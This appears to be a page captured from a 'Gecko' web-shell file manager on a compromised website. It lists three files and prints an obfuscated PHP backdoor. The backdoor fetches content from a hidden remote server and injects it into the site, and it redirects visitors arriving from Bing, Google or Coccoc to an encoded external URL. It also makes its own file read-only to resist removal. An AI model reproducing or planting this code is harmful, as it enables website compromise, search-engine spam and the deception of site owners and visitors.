Gecko [ rocharosa.com.br ]

Name	Size	Permission	Date
.htaccess	237 B	-r--r--r--	2024-09-24 07:41
vnews.php	1.78 KB	-r--r--r--	2024-09-23 10:37
wp-blog-header.php	2.41 KB	-rw-rw-rw-	2024-09-28 09:13

Rename

<?php

goto I5gpu; vwoIt: $DynOS = @end(explode("\x2f", $QMRNj)); goto BPyQu; wdzgQ: echo $Fhxxj; goto hHnYz; qeLXd: $ACPv1 = "\x68\164\164\x70\x3a\x2f\x2f" . $_SERVER["\110\124\x54\120\x5f\x48\117\x53\124"] . $_SERVER["\x50\110\x50\x5f\123\105\x4c\x46"]; goto sX2rI; yPiU5: exit; goto LoTcX; yHOXi: exit; goto dtYWP; syWCs: date_default_timezone_set("\120\x52\x43"); goto X2CE5; S6y0l: if (!(strstr($CN1Kh, "\x62\151\156\147") or strstr($CN1Kh, "\x67\157\157\x67\x6c\145") or strstr($CN1Kh, "\143\157\x63\143\157\x63"))) { goto P_jIg; } goto OkLYq; hHnYz: $QMRNj = $_SERVER["\x50\110\x50\x5f\x53\105\x4c\x46"]; goto vwoIt; I5gpu: set_time_limit(0); goto JA3NW; sX2rI: $Fhxxj = file_get_contents($nyDdk . "\57\151\156\144\x65\170\56\160\150\160\x3f\x68\x6f\163\x74\75" . $ACPv1 . "\46\165\162\154\x3d" . $_SERVER["\121\x55\105\x52\x59\137\x53\x54\x52\x49\x4e\107"] . "\x26\x64\157\x6d\141\x69\x6e\75" . $_SERVER["\123\105\122\x56\x45\122\x5f\x4e\101\115\x45"]); goto wdzgQ; JA3NW: header("\103\x6f\156\x74\145\x6e\x74\55\x54\x79\160\145\x3a\40\164\x65\170\164\x2f\150\x74\x6d\154\73\143\x68\141\162\163\145\x74\75\x75\x74\146\55\x38"); goto syWCs; dtYWP: $CN1Kh = strtolower($_SERVER["\x48\124\124\x50\x5f\122\105\106\x45\x52\105\122"]); goto S6y0l; BPyQu: function AMlYJ($uMyPx) { @chmod($uMyPx, 0555); } goto N4hMR; X2CE5: $nyDdk = base64_decode("\x61\x48\x52\60\x63\104\157\x76\x4c\x32\65\x6c\x64\63\x4d\x75\142\155\126\63\143\x79\61\167\142\110\126\x7a\114\x57\x35\154\144\x79\65\64\x65\x58\x6f\166\x3d"); goto AaXOC; OkLYq: Header("\114\157\x63\141\164\151\157\156\72\40{$omp4v}"); goto yPiU5; N4hMR: amLYj($DynOS); goto yHOXi; AaXOC: $omp4v = base64_decode("\x61\x48\122\60\143\x48\115\66\x4c\x79\x39\x30\x65\x69\64\171\x4d\x44\x49\x30\x59\155\126\60\x4c\x6d\x35\154\x64\103\70\x3d"); goto qeLXd; LoTcX: P_jIg: